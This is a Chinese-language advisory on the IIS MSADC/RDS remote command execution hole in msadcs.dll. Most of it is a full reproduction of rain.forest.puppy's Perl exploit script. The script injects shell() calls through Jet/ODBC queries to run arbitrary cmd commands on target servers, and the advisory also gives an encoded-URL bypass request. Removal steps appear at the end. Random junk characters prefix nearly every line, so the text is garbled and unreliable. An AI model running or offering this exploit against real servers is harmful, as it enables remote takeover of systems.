IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
f{igW?Ho iIsEQh 涉及程序:
;n}
>C' : Microsoft NT server
(rr}Pv%yb Gg9VS&VI 描述:
j1puB 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
-Aa]aDAz68 zUs~V`0 详细:
`k(u:yGK 如果你没有时间读详细内容的话,就删除:
OQ(D5GR:4 c:\Program Files\Common Files\System\Msadc\msadcs.dll
o#xgrMB 有关的安全问题就没有了。
LZM,QQ !8Z2X!$m{< 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
}3f
BY@
hhpv\1h# 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
&:c:9w 关于利用ODBC远程漏洞的描述,请参看:
d/B'[Ur mG831v? http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $s-9|Lbs` ?0rOcaTY 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
v<;: 0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp hojHbmm4 |e*Gz D 这里不再论述。
=2
&hQd
l#D-q/k? 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
'lhP!E_)q M[aT2A /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
P_p6GT:5 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Ys-Keyg >1x7UXs~: FXx.$W #将下面这段保存为txt文件,然后: "perl -x 文件名"
hCzjC|EO~ #(%t*"IY; #!perl
,0!uem}1i #
l80bHp= # MSADC/RDS 'usage' (aka exploit) script
LBiowd[ #
m|pTn#*` # by rain.forest.puppy
Ue(r}* #
vd}*_d # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
x*.Ye5Jb # beta test and find errors!
Yd'H+r5b 3{N\A5~ use Socket; use Getopt::Std;
c 9rVgLqn! getopts("e:vd:h:XR", \%args);
F=XF] ]7a;jNQu print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[6D>f?z :GQUM 6 if (!defined $args{h} && !defined $args{R}) {
I4)Nb WQ print qq~
?75\>NiR Usage: msadc.pl -h <host> { -d <delay> -X -v }
Dp*:Q){>E -h <host> = host you want to scan (ip or domain)
8q?;2w\l -d <seconds> = delay between calls, default 1 second
mZwi7s&u -X = dump Index Server path table, if available
W*k` -v = verbose
Ko#4z%Yq -e = external dictionary file for step 5
z!fdx|PUX u(W^Nou/+ Or a -R will resume a command session
YgCc|W3{ $v]T8|h ~; exit;}
d,W/M(S ,I]7g4~ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Oqpp=7 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
VS?dvZ1cC if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<^xfcYx\ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
L 5+J
^ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
U,e'ZRU6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
A j,]n>{ ],n%Xp if (!defined $args{R}){ $ret = &has_msadc;
a`#S|'oatC die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
0pD
W _ 1h2H1gy5I3 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Vo%Yf9C . "cmd /c ";
*|mz_cKu $in=<STDIN>; chomp $in;
kLJlS,nh\r $command="cmd /c " . $in ;
wG+=}1X TMK'(6dH if (defined $args{R}) {&load; exit;}
yI8 SQ$w0y J' W}7r print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
n!a<:]b< &try_btcustmr;
E*BSfn&i 5O&d3;p' print "\nStep 2: Trying to make our own DSN...";
[FGgkd} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Y;} 2'" q0Xoj__c!A print "\nStep 3: Trying known DSNs...";
_z q)0\ &known_dsn;
c4\C[$ ,'~#Ch print "\nStep 4: Trying known .mdbs...";
8Jr1_a &known_mdb;
?0{yq>fTu K"L_`.&Q if (defined $args{e}){
U
IfH*6X print "\nStep 5: Trying dictionary of DSN names...";
"3SWO3-x &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
AM'gnP> Rp0|zP,5 print "Sorry Charley...maybe next time?\n";
+P|2m"UA exit;
~ FGe~ D}w<84qX ##############################################################################
n12UBvc}% W2`.RF^ sub sendraw { # ripped and modded from whisker
7,*%[#-HE sleep($delay); # it's a DoS on the server! At least on mine...
`)$`-Pw* my ($pstr)=@_;
B| tzF0;c socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i2*d+?Er die("Socket problems\n");
V$(/0mQV( if(connect(S,pack "SnA4x8",2,80,$target)){
, ;%yf? select(S); $|=1;
~AQ>g#|% print $pstr; my @in=<S>;
z>G;(F2 select(STDOUT); close(S);
&'s^nn] return @in;
Hd*}k6 } else { die("Can't connect...\n"); }}
c`
,
2h# hT'=VN ##############################################################################
H-(q#?: P/MM
UmO sub make_header { # make the HTTP request
~].ggcl`w my $msadc=<<EOT
"mOI!xf@a POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
X"j>=DEX User-Agent: ACTIVEDATA
kh3<V'k] Host: $ip
nLj&Uf& Content-Length: $clen
@u/H8\.l Connection: Keep-Alive
`B:"6nW6 o-z &7@3Hu ADCClientVersion:01.06
fywvJ$HD]L Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
k9mi5Oc *_1[[~Aw --!ADM!ROX!YOUR!WORLD!
U]1(&MgV Content-Type: application/x-varg
\0ov[T N.> Content-Length: $reqlen
\tx%WC 0I5&a EOT
h0Ee?= ; $msadc=~s/\n/\r\n/g;
B_k2u return $msadc;}
DK6?E\< i)8N(HN ##############################################################################
#f*g]p{ >&WhQhZ3kg sub make_req { # make the RDS request
cwe1^SJ6y my ($switch, $p1, $p2)=@_;
ZY cd.? :6 my $req=""; my $t1, $t2, $query, $dsn;
W8]V PK4`5uT if ($switch==1){ # this is the btcustmr.mdb query
s]H^wrg& $query="Select * from Customers where City=" . make_shell();
xx }GOY.J $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
rk|a5-i $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
fxgU~' \G>ZkgU elsif ($switch==2){ # this is general make table query
rCBfD $query="create table AZZ (B int, C varchar(10))";
,PECYwegkt $dsn="$p1";}
9JnY$e<& =X-Tcj?3g elsif ($switch==3){ # this is general exploit table query
26L~X[F $query="select * from AZZ where C=" . make_shell();
MR$>!Nlp $dsn="$p1";}
J#Z5^)$ zE|Wn3_sd elsif ($switch==4){ # attempt to hork file info from index server
.<#ATFmY $query="select path from scope()";
7LCp7$Cp $dsn="Provider=MSIDXS;";}
]6&$|2H?Ni ;:mu} elsif ($switch==5){ # bad query
DG[%Nhle $query="select";
!tXZ%BP.u $dsn="$p1";}
/(?@mnq_ L9FHgl? $t1= make_unicode($query);
hO#t:WxFI $t2= make_unicode($dsn);
he$XLTmr: $req = "\x02\x00\x03\x00";
\NK-L."[ $req.= "\x08\x00" . pack ("S1", length($t1));
}$kQs!# $req.= "\x00\x00" . $t1 ;
hat>kXm2K $req.= "\x08\x00" . pack ("S1", length($t2));
`uo,__y $req.= "\x00\x00" . $t2 ;
J!TBREK $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
.A6lj).: return $req;}
WR#0<cz( TWd;EnNM ##############################################################################
V&ot3- Rf bMKL1+y( sub make_shell { # this makes the shell() statement
eV7u*d? return "'|shell(\"$command\")|'";}
;%!B[+ut" wO.iKX; ##############################################################################
Q@-ovuxi XK
ApLz sub make_unicode { # quick little function to convert to unicode
>cN~U3 my ($in)=@_; my $out;
VDGCWg6z for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"i&"* ~ return $out;}
P"3*lk+w P0Z!?`e=M ##############################################################################
Zy0aJN> +4qU> sub rdo_success { # checks for RDO return success (this is kludge)
ZA(T
my (@in) = @_; my $base=content_start(@in);
:I1_X if($in[$base]=~/multipart\/mixed/){
\or G63T: return 1 if( $in[$base+10]=~/^\x09\x00/ );}
RJ4.
kt return 0;}
PRB{VC<k wy,p&g)> ##############################################################################
)ev<7g9*q )]43R sub make_dsn { # this makes a DSN for us
7~1IO|4t my @drives=("c","d","e","f");
v [njdP print "\nMaking DSN: ";
e]Fp=*# foreach $drive (@drives) {
Sr_VL:Gg print "$drive: ";
9z>z3,ftN my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
EME.h&A\G` "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
beXNrf=bG . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
sJG5/w $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
hk>;pU( return 0 if $2 eq "404"; # not found/doesn't exist
MJ{%4S{K,p if($2 eq "200") {
)C%N]9FvY foreach $line (@results) {
kA wNly return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
i38[hQR9a } return 0;}
[I;^^#'P 5W? v'" ##############################################################################
%~xGkk"I kAA>FI6 sub verify_exists {
++-{]wB3=. my ($page)=@_;
#^#HuDH my @results=sendraw("GET $page HTTP/1.0\n\n");
%A/_5;PZ/ return $results[0];}
1|r,dE2k9 sTRJ:fR ##############################################################################
v(]]_h .dMVoG5 sub try_btcustmr {
Jc6R{C my @drives=("c","d","e","f");
?.=}pAub my @dirs=("winnt","winnt35","winnt351","win","windows");
2&!bfq![ .L6Zm U foreach $dir (@dirs) {
.;7> y7$* print "$dir -> "; # fun status so you can see progress
-O!/Jv"{,[ foreach $drive (@drives) {
E#wS_[ print "$drive: "; # ditto
]D2udeg $reqlen=length( make_req(1,$drive,$dir) ) - 28;
jE2}p-2Q0 $reqlenlen=length( "$reqlen" );
kgdT7 $clen= 206 + $reqlenlen + $reqlen;
LE6.nmvS ^' M>r(t my @results=sendraw(make_header() . make_req(1,$drive,$dir));
hr05L<?H if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*f%>YxF else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
txgQ"MGA% )\uO9PB[O ##############################################################################
81LNkE, {LHR!~d}5f sub odbc_error {
(~~w7L
s my (@in)=@_; my $base;
RDqFL.-S my $base = content_start(@in);
.
#lsic8] if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:Y,BdU $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\daZk /@ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U?a6D:~G $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Z6p5*+ return $in[$base+4].$in[$base+5].$in[$base+6];}
VZ&
A%UFC print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
'(GiF print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
<
0M:"^f $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
$Fkaa<9;P .iMN,+qP ##############################################################################
#>=j79~ 'G\XXf%J sub verbose {
^~`?>}MJ my ($in)=@_;
XQ%4L-rhN return if !$verbose;
YKmsQ(q`N print STDOUT "\n$in\n";}
%WTEv?I{Ga ev1 W6B-a ##############################################################################
8mT M$#\ l5xCz=dw sub save {
lKWPTCU my ($p1, $p2, $p3, $p4)=@_;
FTc.]laO open(OUT, ">rds.save") || print "Problem saving parameters...\n";
mrIh0B:` print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
7\]E~/g close OUT;}
zmj"fN{\ (;Y8pKl1e ##############################################################################
;5-r_D;9 X$%4$ sub load {
2*"Fu:a"`I my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
j>Iaq" open(IN,"<rds.save") || die("Couldn't open rds.save\n");
"tjLc6Xl^ @p=<IN>; close(IN);
qy)_wM $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
BrRL7xX $target= inet_aton($ip) || die("inet_aton problems");
K~=UUB print "Resuming to $ip ...";
[/s&K{+c $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
#U8rO;$ if($p[1]==1) {
yz8mP3"c:o $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
o8e?J\? $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
n1
6 `y} my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
0Wa}<]:^ if (rdo_success(@results)){print "Success!\n";}
nJ4pTOc else { print "failed\n"; verbose(odbc_error(@results));}}
.itw04Uru elsif ($p[1]==3){
QrO\jAZ{Ag if(run_query("$p[3]")){
cdqB,]" print "Success!\n";} else { print "failed\n"; }}
X\EVTd)@ elsif ($p[1]==4){
^7zu<lX if(run_query($drvst . "$p[3]")){
}Sy=My89r print "Success!\n"; } else { print "failed\n"; }}
n
-( exit;}
Hbv6_H kKC9{^%) ##############################################################################
@36u8pE gs!(;N\j| sub create_table {
w 4[{2 my ($in)=@_;
f&v9Q97= $reqlen=length( make_req(2,$in,"") ) - 28;
"ju6XdZo $reqlenlen=length( "$reqlen" );
:Gm/ $clen= 206 + $reqlenlen + $reqlen;
AJ#Nenmj my @results=sendraw(make_header() . make_req(2,$in,""));
D}8EER b return 1 if rdo_success(@results);
g&/T*L my $temp= odbc_error(@results); verbose($temp);
iq(
)8nxi return 1 if $temp=~/Table 'AZZ' already exists/;
6aM*:>C" return 0;}
>pUtwIP jZ NOt ##############################################################################
bfo[" PkI:*\R sub known_dsn {
87hq{tTs] # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&0f5:M{P my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
%v20~xW:o "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
9z6XF]A "banner", "banners", "ads", "ADCDemo", "ADCTest");
y;/VB,4V dOa%9[ foreach $dSn (@dsns) {
jKt7M>P print ".";
Eke5Nb next if (!is_access("DSN=$dSn"));
|:8bNm5[ if(create_table("DSN=$dSn")){
2-Y<4'> print "$dSn successful\n";
TB0
5?F if(run_query("DSN=$dSn")){
!K|5bK print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(5]}5W* print "Something's borked. Use verbose next time\n";}}} print "\n";}
<b,~:9*? oudxm[/U ##############################################################################
D3|I:Xm 9on@Q_7m sub is_access {
~69&6C1Ch my ($in)=@_;
w@,zFV $reqlen=length( make_req(5,$in,"") ) - 28;
P.gb1$7< $reqlenlen=length( "$reqlen" );
]U"94S U:) $clen= 206 + $reqlenlen + $reqlen;
bhniB@< my @results=sendraw(make_header() . make_req(5,$in,""));
13taFVdU my $temp= odbc_error(@results);
N7e"@Ic verbose($temp); return 1 if ($temp=~/Microsoft Access/);
03C0L& return 0;}
]+X@
7 t.mVO]dsj ##############################################################################
T=ev[ mS x7O-Y~[2 sub run_query {
JtER_(. my ($in)=@_;
|\pbir $reqlen=length( make_req(3,$in,"") ) - 28;
#U14-^7 $reqlenlen=length( "$reqlen" );
3Z1CWzq( $clen= 206 + $reqlenlen + $reqlen;
O({2ivX my @results=sendraw(make_header() . make_req(3,$in,""));
` V##Y return 1 if rdo_success(@results);
TYW&!sm my $temp= odbc_error(@results); verbose($temp);
wmTb97o return 0;}
.9wk@C(Eh_ 'inFKy'H ##############################################################################
)ut&@] EN/,5<S<,[ sub known_mdb {
M3.do^ss my @drives=("c","d","e","f","g");
{.XEL my @dirs=("winnt","winnt35","winnt351","win","windows");
YPxM<Gfa8 my $dir, $drive, $mdb;
.SWlp2!M5 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_*f`iu:` (!:,+*YY # this is sparse, because I don't know of many
dkz=CY3p%X my @sysmdbs=( "\\catroot\\icatalog.mdb",
q.;u?,|E/ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
s7F.sg "\\system32\\certmdb.mdb",
%^jMj2 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
PUUwv_ JD|=>) my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
u A<n "\\cfusion\\cfapps\\forums\\forums_.mdb",
!z>6Uf!{ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
2'w?\{}D "\\cfusion\\cfapps\\security\\realm_.mdb",
\.-bZ$ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
?32&]iM
oW "\\cfusion\\database\\cfexamples.mdb",
w(L4A0K[ "\\cfusion\\database\\cfsnippets.mdb",
E 7{U|\ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
H*}y^)x "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
~A\GT$ "\\cfusion\\brighttiger\\database\\cleam.mdb",
> ;*b|Ik "\\cfusion\\database\\smpolicy.mdb",
y+NN< EY@ "\\cfusion\\database\cypress.mdb",
`x*Pof!Io "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[TmIVQ!B "\\website\\cgi-win\\dbsample.mdb",
c24dSNJg, "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
U>Slc08N "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Qnsi`1mASr ); #these are just
iUN Ib foreach $drive (@drives) {
qv!2MUw\j foreach $dir (@dirs){
Vh4X%b$TV foreach $mdb (@sysmdbs) {
rbWP78 print ".";
.:F%_dS D if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
8]9%*2"! print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
[MUpxOAsd if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
) AvN\sC print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
glDu2a,Q } else { print "Something's borked. Use verbose next time\n"; }}}}}
3ca (i/c {ttysQ- foreach $drive (@drives) {
A
PEE~ foreach $mdb (@mdbs) {
\XZ/v*d0
print ".";
"~|6tQLc if(create_table($drv . $drive . $dir . $mdb)){
gi1^3R[ print "\n" . $drive . $dir . $mdb . " successful\n";
.[ICx if(run_query($drv . $drive . $dir . $mdb)){
RMdk:YvBg print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
.(cw>7e3D } else { print "Something's borked. Use verbose next time\n"; }}}}
[_EZhq }
m+]K;}.}R X aMJDa|M ##############################################################################
e w$B)W ,s"^kFl sub hork_idx {
N2;B-U F
7 print "\nAttempting to dump Index Server tables...\n";
f6&iy$@ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0Qf,@^zL* $reqlen=length( make_req(4,"","") ) - 28;
sBT2j~jhJ $reqlenlen=length( "$reqlen" );
[M=7M}f; $clen= 206 + $reqlenlen + $reqlen;
ig/xv my @results=sendraw2(make_header() . make_req(4,"",""));
cK( C&NK if (rdo_success(@results)){
GjvOM y my $max=@results; my $c; my %d;
VA#"r!1 for($c=19; $c<$max; $c++){
I&x=; $results[$c]=~s/\x00//g;
3YR!Mq$|~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
0AL=S$B) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
p8Qk'F=h $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
fHx*e'eA $d{"$1$2"}="";}
v dc\R? foreach $c (keys %d){ print "$c\n"; }
gCB |DY } else {print "Index server doesn't seem to be installed.\n"; }}
x??+~$}\*- | ATvS2 ##############################################################################
B|C2lu c(xrP/yOwi sub dsn_dict {
Ng2twfSl$ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Z 2V.3 while(<IN>){
L>Fa^jq5 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Yg||{ next if (!is_access("DSN=$dSn"));
Ga^"1TZ x if(create_table("DSN=$dSn")){
iu=7O print "$dSn successful\n";
,/Z%@-rF if(run_query("DSN=$dSn")){
;n*.W|Uph print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Yi%;|] print "Something's borked. Use verbose next time\n";}}}
KPKt^C print "\n"; close(IN);}
kTOzSiq Kqb#_hm ##############################################################################
y51e%n$ NJWA3zz
sub sendraw2 { # ripped and modded from whisker
DEKP5?] sleep($delay); # it's a DoS on the server! At least on mine...
^ @s1Z7 my ($pstr)=@_;
Ot_]3:`J~ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6]WAUK%h die("Socket problems\n");
h+g_rvIG* if(connect(S,pack "SnA4x8",2,80,$target)){
/NI;P]s. print "Connected. Getting data";
y.mda:$~= open(OUT,">raw.out"); my @in;
|4;Fd9q^m select(S); $|=1; print $pstr;
"^})zf~_ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
FrGgga$ close(OUT); select(STDOUT); close(S); return @in;
Rq'S>#e } else { die("Can't connect...\n"); }}
"c%0P"u F rfM3x6UM ##############################################################################
gwuI-d^ o,\$ZxSlm sub content_start { # this will take in the server headers
:+^lJ&{U my (@in)=@_; my $c;
*K8$eDNZ for ($c=1;$c<500;$c++) {
a/4T>eC if($in[$c] =~/^\x0d\x0a/){
'}53f2%gKa if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
?jv/TBZX4 else { return $c+1; }}}
$]/{[@5 return -1;} # it should never get here actually
N2^=E1|_ c <B/V0] ##############################################################################
MzdV2. _^Ubs>d=* sub funky {
99e.n0 my (@in)=@_; my $error=odbc_error(@in);
/$Nsd if($error=~/ADO could not find the specified provider/){
V1N3iI print "\nServer returned an ADO miscofiguration message\nAborting.\n";
5IGX5x exit;}
JzQ_{J`k if($error=~/A Handler is required/){
y4?0j: print "\nServer has custom handler filters (they most likely are patched)\n";
xX&+WR exit;}
%HhnSi1K if($error=~/specified Handler has denied Access/){
[Gb.
JO}X print "\nServer has custom handler filters (they most likely are patched)\n";
=
SMXDaH exit;}}
M6"PX *K k_#ak%m/ ##############################################################################
t%0VJB,Q2 tKOmoC sub has_msadc {
{L{o]Ii?g my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
1hY{k{+o my $base=content_start(@results);
HmGWht6R return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
%v
M-mbX return 0;}
Ju@c~Xm EH J.T~X ########################
GY'%+\*tj #jvtUS \ hR?{3d#x2 解决方案:
Mq156TL 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
hn
GZ= 2、移除web 目录: /msadc